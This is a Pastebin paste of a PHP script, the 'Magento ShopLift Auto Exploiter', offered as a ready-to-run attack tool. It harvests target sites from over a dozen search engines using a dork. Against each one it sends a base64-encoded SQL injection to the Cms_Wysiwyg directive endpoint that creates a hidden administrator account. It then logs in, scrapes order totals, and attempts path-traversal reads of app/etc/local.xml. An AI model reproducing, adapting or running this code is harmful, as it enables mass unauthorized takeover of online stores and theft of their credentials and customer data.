Hector_G

Magento exploiter

Feb 15th, 2017
439
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 16.57 KB | None | 0 0
  1. <?php
  2. /* ++++++++++++++++++++++++++++++++++
  3.     ShopLift Exploiter Beta Version
  4.     Use : php thisfile.php "Dork"
  5.    +++++++++++++++++++++++++++++++++
  6. */
  7. set_time_limit(0);
  8. class ShopLiftFathurFreakz {
  9.     private $dork = "";
  10.     private $username = "aing123";
  11.     private $password = "aing123";
  12.    
  13.     public function Dork($dork){
  14.         $this->dork = $dork;
  15.         return $this->dork;
  16.     }
  17.    
  18.     private function CurlPost($url, $post = false){
  19.         $ch = curl_init();
  20.         curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  21.         curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  22.         curl_setopt($ch, CURLOPT_URL, $url);
  23.         curl_setopt($ch, CURLOPT_HEADER, 0);
  24.         curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  25.         curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)");
  26.         curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
  27.         if($post !== false){
  28.             $isi = '';
  29.             foreach($post as $key=>$value){
  30.                 $isi .= $key.'='.$value.'&';
  31.             }
  32.             rtrim($isi, '&');
  33.             curl_setopt($ch, CURLOPT_URL, $url);
  34.             curl_setopt($ch, CURLOPT_POST, count($isi));
  35.             curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie.txt');
  36.             curl_setopt($ch, CURLOPT_POSTFIELDS, $isi);
  37.         }
  38.         $data = curl_exec($ch);
  39.         curl_close($ch);
  40.         return $data;
  41.     }
  42.    
  43.     private function GetStr($start,$end,$string){
  44.         $a = explode($start,$string);
  45.         $b = explode($end,$a[1]);
  46.         return $b[0];
  47.     }
  48.    
  49.     private function LoginDownloader($url){
  50.         $link = parse_url($url);
  51.         $data = $this->CurlPost(sprintf("%s://%s/downloader/",$link["scheme"],$link["host"]),
  52.                     array("username" => $this->username,
  53.                           "password" => $this->password)
  54.                     );
  55.         if(preg_match("/Log Out/i",$data) || (preg_match("/Return to Admin/i",$data))){
  56.             $permission = (!preg_match("/Warning: Your Magento folder does not have sufficient write permissions./i",$data) ? "Writeable" : "Denied");
  57.             return "Success\nPermission\t\t: ".$permission;
  58.         } else {
  59.             return "Failed";
  60.         }
  61.     }
  62.        
  63.     private function LoginAdmin($target){
  64.         $link = parse_url($target);
  65.         $get = $this->CurlPost(sprintf("%s://%s/admin/",$link["scheme"],$link["host"]));
  66.         $key = $this->GetStr("<input name=\"form_key\" type=\"hidden\" value=\"","\" />",$get);
  67.         $data = $this->CurlPost(sprintf("%s://%s/admin/",$link["scheme"],$link["host"]),
  68.                     array("login[username]" => $this->username,
  69.                           "login[password]" => $this->password,
  70.                           "form_key" => $key)
  71.                 );
  72.         if($this->LocalFileDiscloure(sprintf("%s://%s",$link["scheme"],$link["host"]))){
  73.             return "Success\nOrder Total\t\t: ".$this->GetStr("<span class=\"price\">","</span>",$data)."\nInstaled\t\t:".$this->LocalFileDiscloure(sprintf("%s://%s",$link["scheme"],$link["host"]));
  74.         } else {
  75.             return "Success\nOrder Total\t\t: ".$this->GetStr("<span class=\"price\">","</span>",$data);
  76.         }
  77.     }
  78.    
  79.     private function ShopLiftExploit($target){
  80.         $email = substr(md5(time()),2,15);
  81.         $link = parse_url($target);
  82.         $data = $this->CurlPost(sprintf("%s://%s/admin/Cms_Wysiwyg/directive/index/",$link["scheme"],$link["host"]),
  83.                     array("filter" => base64_encode("popularity[from]=0&popularity[to]=3&popularity[field_expr]=0);SET @SALT =  'rp';SET @PASS = CONCAT(MD5(CONCAT( @SALT , '{$this->password}') ), CONCAT(':', @SALT ));SELECT @EXTRA := MAX(extra) FROM admin_user WHERE extra IS NOT NULL;INSERT INTO `admin_user` (`firstname`, `lastname`,`email`,`username`,`password`,`created`,`lognum`,`reload_acl_flag`,`is_active`,`extra`,`rp_token`,`rp_token_created_at`) VALUES ('Firstname','Lastname','{$email}@telekpitekwashere.cok','{$this->username}',@PASS,NOW(),0,0,1,@EXTRA,NULL, NOW());INSERT INTO `admin_role` (parent_id,tree_level,sort_order,role_type,user_id,role_name) VALUES (1,2,0,'U',(SELECT user_id FROM admin_user WHERE username = '{$this->username}'),'Firstname');"),
  84.                     "___directive"  => base64_encode("{{block type=Adminhtml/report_search_grid output=getCsvFile}}"),
  85.                     "forwarded"     => "1")
  86.                 );    
  87.         return (@imagecreatefromstring($data) !== false);
  88.     }
  89.    
  90.     private function ExecuteExploit($victim){
  91.         $file = fopen("ShopLift-".date("d-m-Y").".log","a");
  92.         $url = parse_url($victim);
  93.         $target = (!isset($url["scheme"]) ? "http://".$victim : $url["scheme"]."://".$url["host"]);
  94.         if($this->ShopLiftExploit($target)){
  95.             $downloader = $this->LoginDownloader($target);
  96.             $admin = $this->LoginAdmin($target);
  97.             $result = "\n============[ShopLift Result]============\nSite\t\t\t: {$target}\nLogin Admin\t\t: {$admin}\nLogin Downloader\t: {$downloader}\n===========================================\n";
  98.             fwrite($file,$result);
  99.             return $result;
  100.         } else {
  101.             return "[".date("H:i:s")."] ".$target." => Not vuln !\n";
  102.         }
  103.         fclose($file);
  104.     }
  105.    
  106.     private function LocalFileDiscloure($target){
  107.         $path = array(  "/app/etc/local.xml",
  108.                         "/magmi/web/download_file.php?file=../../app/etc/local.xml"
  109.                     );
  110.         for($i=0;$i<=count($path);$i++){
  111.             $test = $this->CurlPost($target.$path[$i]);
  112.             if(isset($test) && preg_match('/install/i',$test) && preg_match('/date/i',$test)){
  113.                 return $this->GetStr("<date><![CDATA[","]]></date>",$test);
  114.             } else {
  115.                 return false;
  116.             }
  117.         }
  118.     }
  119.    
  120.     public function SearchEngine($engine){
  121.         $list = array();
  122.         $ccbing = array("ca","br","be","nl","uk","it","es","de","no","dk","se","ch","ru","jp","cn","kr","mx","ar","cl","au");
  123.         $ccgoogle = array("ae","com.af","com.ag","off.ai","am","com.ar","as","at","com.au","az","ba","com.bd","be","bg","bi","com.bo","com.br","bs","co.bw","com.bz","ca","cd","cg","ch","ci","co.ck","cl","com.co","co.cr","com.cu","de","dj","dk","dm","com.do","com.ec","es","com.et","fi","com.fj","fm","fr","gg","com.gi","gl","gm","gr","com.gt","com.hk","hn","hr","co.hu","co.id","ie","co.il","co.im","co.in","is","it","co.je","com.jm","jo","co.jp","co.ke","kg","co.kr","kz","li","lk","co.ls","lt","lu","lv","com.ly","mn","ms","com.mt","mu","mw","com.mx","com.my","com.na","com.nf","com.ni","nl","no","com.np","nr","nu","co.nz","com.om","com.pa","com.pe","com.ph","com.pk","pl","pn","com.pr","pt","com.py","ro","ru","rw","com.sa","com.sb","sc","se","com.sg","sh","sk","sn","sm","com.sv","co.th","com.tj","tm","to","tp","com.tr","tt","com.tw","com.ua","co.ug","co.uk","com.uy","uz","com.vc","co.ve","vg","co.vi","com.vn","vu","ws","co.za","co.zm");
  124.         $ccask = array("au","uk","ca","de","it","fr","es","ru","nl","pl","at","se","dk","no","br","mx","jp");
  125.         $ccyahoo = array("au","ru","at","pl","il","tr","ua","gr","jp","cn","my","id","th","in","kr","tw","ro","za","pt","ca","uk","de","fr","es","it","hk","mx","br","ar","nl","dk","ph","cl","ru","co","fi","ve","nz","pe");
  126.         switch($engine){
  127.             case 1:
  128.                 for($i=0;$i<=1000;$i+=10){
  129.                     $search = $this->CurlPost("http://www.bing.com/search?q=".urlencode($this->dork)."&first=".$i);
  130.                     preg_match_all('/<a href=\"?http:\/\/([^\"]*)\"/m', $search, $m);
  131.                     foreach($m[1] as $link){
  132.                         if(!preg_match("/live|msn|bing|microsoft/",$link)){
  133.                             if(!in_array($link,$list)){
  134.                                 $list[] = $link;
  135.                             }
  136.                         }
  137.                     }
  138.                     echo "[".date("H:i:s")."] Catch Bing (".count(array_unique($m[1])).")\n";
  139.                 }
  140.                 echo "[".date("H:i:s")."] Total Bing : ".count($list)."\n";
  141.             break;
  142.             case 2:
  143.                 for($x=0;$x<=count($ccbing)-1;$x++){
  144.                     for($i=0;$i<=1000;$i+=10){
  145.                         $search = $this->CurlPost("http://www.bing.com/search?q=".urlencode($this->dork)."&cc=".$ccbing[$x]."&rf=1&first=".$i."&FORM=PORE");
  146.                         preg_match_all('/<a href=\"?http:\/\/([^\"]*)\"/m', $search, $m);
  147.                         foreach($m[1] as $link){
  148.                             if(!preg_match("/live|msn|bing|microsoft/",$link)){
  149.                                 if(!in_array($link,$list)){
  150.                                     $list[] = $link;
  151.                                 }
  152.                             }
  153.                         }
  154.                         echo "[".date("H:i:s")."] Catch Bing.".$ccbing[$x]." (".count(array_unique($m[1])).")\n";
  155.                     }
  156.                 }
  157.                 echo "[".date("H:i:s")."] Total Bing World : ".count($list)."\n";
  158.             break;
  159.             case 3:
  160.                 for($x=0;$x<=count($ccgoogle)-1;$x++){
  161.                     for($i=0;$i<=200;$i+=10){
  162.                         $search = $this->CurlPost("http://www.google.".$ccgoogle[$x]."/search?num=50&q=".urlencode($this->dork)."&start=".$i."&sa=N");
  163.                         preg_match_all('/<a href=\"?http:\/\/([^>\"]*)\//m', $search, $m);
  164.                         foreach($m[1] as $link){
  165.                             if(!preg_match("/google/",$link)){
  166.                                 if(!in_array($link,$list)){
  167.                                     $list[] = $link;
  168.                                 }
  169.                             }
  170.                         }
  171.                         echo "[".date("H:i:s")."] Catch Google.".$ccgoogle[$x]." (".count(array_unique($m[1])).")\n";
  172.                     }
  173.                 }
  174.                 echo "[".date("H:i:s")."] Total Google World : ".count($list)."\n";
  175.             break;
  176.             case 4:
  177.                 for($x=0;$x<=count($ccask)-1;$x++){
  178.                     for($i=1;$i<=1000;$i+=100){
  179.                         $search = $this->CurlPost("http://".$ccask[$x].".ask.com/web?q=".urlencode($this->dork)."&qsrc=1&frstpgo=0&o=0&l=dir&qid=05D10861868F8C7817DAE9A6B4D30795&page=".$i."&jss=");
  180.                         preg_match_all('/href=\"http:\/\/(.*?)\" onmousedown=/m', $search, $m);
  181.                         foreach($m[1] as $link){
  182.                             if(!preg_match("/ask\.com/",$link)){
  183.                                 if(!in_array($link,$list)){
  184.                                     $list[] = $link;
  185.                                 }
  186.                             }
  187.                         }
  188.                         echo "[".date("H:i:s")."] Catch Ask.".$ccask[$x]."(".count(array_unique($m[1])).")\n";
  189.                     }
  190.                 }
  191.                 echo "[".date("H:i:s")."] Total Ask World : ".count($list)."\n";
  192.             break;
  193.             case 5:
  194.                 for($i=1;$i<=100;$i+=1){
  195.                     $search = $this->CurlPost("http://search.walla.co.il/?q=".urlencode($this->dork)."&type=text&page=".$i);
  196.                     preg_match_all('/<a href=\"http:\/\/(.+?)\" title=/m', $search, $m);
  197.                     foreach($m[1] as $link){
  198.                         if(!preg_match("/walla\.co\.il/",$link)){
  199.                             if(!in_array($link,$list)){
  200.                                 $list[] = $link;
  201.                             }
  202.                         }
  203.                     }
  204.                     echo "[".date("H:i:s")."] Catch Walla (".count(array_unique($m[1])).")\n";
  205.                 }
  206.                 echo "[".date("H:i:s")."] Total Walla : ".count($list)."\n";
  207.             break;
  208.             case 6:
  209.                 for($i=1;$i<=400;$i+=10){
  210.                     $search = $this->CurlPost("http://szukaj.onet.pl/".$i.",query.html?qt=".urlencode($this->dork));
  211.                     preg_match_all('/<a href=\"http:\/\/(.*?)\">/m', $search, $m);
  212.                     foreach($m[1] as $link){
  213.                         if(!preg_match("/onet|webcache|query/",$link)){
  214.                             if(!in_array($link,$list)){
  215.                                 $list[] = $link;
  216.                             }
  217.                         }
  218.                     }
  219.                     echo "[".date("H:i:s")."] Catch Onet (".count(array_unique($m[1])).")\n";
  220.                 }
  221.                 echo "[".date("H:i:s")."] Total Onet : ".count($list)."\n";
  222.             break;
  223.             case 7:
  224.                 for($i=1;$i<=50;$i+=1){
  225.                     $search = $this->CurlPost("http://pesquisa.sapo.pt/?barra=resumo&cluster=0&format=html&limit=10&location=pt&page=".$i."&q=".urlencode($this->dork)."&st=local");
  226.                     preg_match_all('/<a href=\"http:\/\/(.*?)\"/m', $search, $m);
  227.                     foreach($m[1] as $link){
  228.                         if(!preg_match("/\.sapo\.pt/",$link)){
  229.                             if(!in_array($link,$list)){
  230.                                 $list[] = $link;
  231.                             }
  232.                         }
  233.                     }
  234.                     echo "[".date("H:i:s")."] Catch Sapo (".count(array_unique($m[1])).")\n";
  235.                 }
  236.                 echo "[".date("H:i:s")."] Total Sapo : ".count($list)."\n";
  237.             break;
  238.             case 8:
  239.                 for($i=1;$i<=50;$i+=1){
  240.                     $search = $this->CurlPost("http://search.lycos.com/web?q=".urlencode($this->dork)."&pn=".$i);
  241.                     preg_match_all('/title=\"http:\/\/(.*?)\"/m', $search, $m);
  242.                     foreach($m[1] as $link){
  243.                         if(!preg_match("/lycos/",$link)){
  244.                             if(!in_array($link,$list)){
  245.                                 $list[] = $link;
  246.                             }
  247.                         }
  248.                     }
  249.                     echo "[".date("H:i:s")."] Catch Lycos (".count(array_unique($m[1])).")\n";
  250.                 }
  251.                 echo "[".date("H:i:s")."] Total Lycos : ".count($list)."\n";
  252.             break;
  253.             case 9:
  254.                 for($i=1;$i<=1000;$i+=10){
  255.                     $search = $this->CurlPost("http://busca.uol.com.br/web/?ref=homeuol&q=".urlencode($this->dork)."&start=".$i);
  256.                     preg_match_all('/href=\"?http:\/\/([^\">]*)\"/m', $search, $m);
  257.                     foreach($m[1] as $link){
  258.                         if(!preg_match("/uol\.com\.br|\/web/i",$link)){
  259.                             if(!in_array($link,$list)){
  260.                                 $list[] = $link;
  261.                             }
  262.                         }
  263.                     }
  264.                     echo "[".date("H:i:s")."] Catch Aol (".count(array_unique($m[1])).")\n";
  265.                 }
  266.                 echo "[".date("H:i:s")."] Total Uol : ".count($list)."\n";
  267.             break;
  268.             case 10:
  269.                 for($i=1;$i<=300;$i+=20){
  270.                     $search = $this->CurlPost("http://search.seznam.cz/?q=".urlencode($this->dork)."&count=20&from=".$i);
  271.                     preg_match_all('/href=\"?http:\/\/([^\">]*)\"/m', $search, $m);
  272.                     foreach($m[1] as $link){
  273.                         if(!preg_match("/seznam\.cz|chytrevyhledavani\.cz|smobil\.cz|sklik\.cz/i",$link)){
  274.                             if(!in_array($link,$list)){
  275.                                 $list[] = $link;
  276.                             }
  277.                         }
  278.                     }
  279.                     echo "[".date("H:i:s")."] Catch Seznam (".count(array_unique($m[1])).")\n";
  280.                 }
  281.                 echo "[".date("H:i:s")."] Total Seznam : ".count($list)."\n";
  282.             break;
  283.             case 11:
  284.                 for($i=1;$i<=50;$i+=1){
  285.                     $search = $this->CurlPost("http://www.hotbot.com/search/web?pn=".$i."&q=".urlencode($this->dork));
  286.                     preg_match_all('/href=\"http:\/\/(.+?)\" title=/m', $search, $m);
  287.                     foreach($m[1] as $link){
  288.                         if(!preg_match("/hotbot\.com/",$link)){
  289.                             if(!in_array($link,$list)){
  290.                                 $list[] = $link;
  291.                             }
  292.                         }
  293.                     }
  294.                     echo "[".date("H:i:s")."] Catch Hotbot (".count(array_unique($m[1])).")\n";
  295.                 }
  296.                 echo "[".date("H:i:s")."] Total Hotbot : ".count($list)."\n";
  297.             break;
  298.             case 12:
  299.                 for($i=1;$i<=300;$i+=10){
  300.                     $search = $this->CurlPost("http://search.aol.com/aol/search?q=".urlencode($this->dork)."&page=".$i);
  301.                     preg_match_all('/href=\"http:\/\/(.*?)\"/m', $search, $m);
  302.                     foreach($m[1] as $link){
  303.                         if(!preg_match("/aol\.com/",$link)){
  304.                             if(!in_array($link,$list)){
  305.                                 $list[] = $link;
  306.                             }
  307.                         }
  308.                     }
  309.                     echo "[".date("H:i:s")."] Catch Aol (".count(array_unique($m[1])).")\n";
  310.                 }
  311.                 echo "[".date("H:i:s")."] Total Aol : ".count($list)."\n";
  312.             break;
  313.             case 13:
  314.                     for($i=1;$i<=1000;$i+=10){
  315.                     $search = $this->CurlPost("http://search.yahoo.com/search?p=".urlencode($this->dork)."&b=".$i);
  316.                     preg_match_all('/<a href=\"http:\/\/(.*?)\"/m', $search, $m);
  317.                     foreach($m[1] as $link){
  318.                         if(!preg_match("/yahoo/",$link)){
  319.                             if(!in_array($link,$list)){
  320.                                 $list[] = $link;
  321.                             }
  322.                         }
  323.                     }
  324.                     echo "[".date("H:i:s")."] Catch Yahoo (".count(array_unique($m[1])).")\n";
  325.                 }
  326.                 echo "[".date("H:i:s")."] Total Yahoo : ".count($list)."\n";
  327.             break;
  328.             case 14:
  329.                 for($x=0;$x<=count($ccyahoo)-1;$x++){
  330.                     for($i=1;$i<=1000;$i+=100){
  331.                     $search = $this->CurlPost("http://".$ccyahoo[$x].".search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".urlencode($this->dork)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=hk&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
  332.                     preg_match_all('/<a href=\"http:\/\/(.*?)\"/m', $search, $m);
  333.                     foreach($m[1] as $link){
  334.                         if(!preg_match("/yahoo".$ccyahoo[$x]."/",$link)){
  335.                             if(!in_array($link,$list)){
  336.                                 $list[] = $link;
  337.                             }
  338.                         }
  339.                     }
  340.                     echo "[".date("H:i:s")."] Catch Yahoo.".$ccyahoo[$x]." (".count(array_unique($m[1])).")\n";
  341.                     }
  342.                 }
  343.                 echo "[".date("H:i:s")."] Total Yahoo World : ".count($list)."\n";
  344.             break;
  345.         }
  346.         if(count($list)>0){
  347.             echo "Exploiting target ".count($list).". Please wait ... \n";
  348.             foreach($list as $do){
  349.                 echo $this->ExecuteExploit($do);
  350.             }
  351.         }
  352.     }
  353.    
  354.     public function ExploitLogo(){
  355.         $logo = "==================================================\n";
  356.         $logo .= "#\t Magento ShopLift Auto Exploiter \t #\n";
  357.         $logo .= "#------------------------------------------------#\n";
  358.         $logo .= "#\t Author \t: Ferdihermawan \t\t #\n";
  359.         $logo .= "#\t Email \t\t: davidferdinand16@gmail.com #\n";
  360.         $logo .= "#\t Thanks to \t: ErizaArtamevia K \t #\n";
  361.         $logo .= "#\t Usage \t\t: php ".basename($_SERVER["SCRIPT_FILENAME"], '.php').".php \"Dork\"\t #\n";
  362.         $logo .= "#------------------------------------------------#\n";
  363.         $logo .= "#\t (C) ".date("Y")." PhantomGhost \t\t #\n";
  364.         $logo .= "==================================================\n";
  365.         echo $logo;
  366.     }
  367. }
  368. $Exploiter = new ShopLiftFathurFreakz();
  369. if(isset($argv[1]) && !empty($argv[1])){
  370.     if($argv[1]=="-l" && !empty($argv[2])){
  371.         $file = file_get_contents($argv[2]);
  372.         $list = explode("\n",$file);
  373.         if(isset($list)){
  374.             echo "Starting engine ....\n";
  375.             flush();
  376.             sleep(2);
  377.             echo "[".date("H:i:s")."] Scanning ".count($list)." dorks. Please wait ... \n";
  378.             foreach($list as $dork){
  379.                 echo "[".date("H:i:s")."] Scanning target for dork : {$dork}\n";
  380.                 $Exploiter->Dork($dork);
  381.                 for($i=0;$i<15;$i++){
  382.                     $Exploiter->SearchEngine($i);
  383.                     flush();
  384.                     sleep(1);
  385.                 }
  386.             }
  387.         }
  388.     } else {
  389.         echo "Starting engine ....\n";
  390.         flush();
  391.         sleep(2);
  392.         echo "[".date("H:i:s")."] Scanning target for dork : {$argv[1]}\n";
  393.         $Exploiter->Dork($argv[1]);
  394.         for($i=0;$i<15;$i++){
  395.             $Exploiter->SearchEngine($i);
  396.             flush();
  397.             sleep(1);
  398.         }
  399.     }
  400.     echo "Scan finished !!!\n";
  401.     flush();
  402.     sleep(1);
  403.     echo "Shuting down engine !!!\n";
  404. } else {
  405.     $Exploiter->ExploitLogo();
  406. }
Add Comment
Please, Sign In to add comment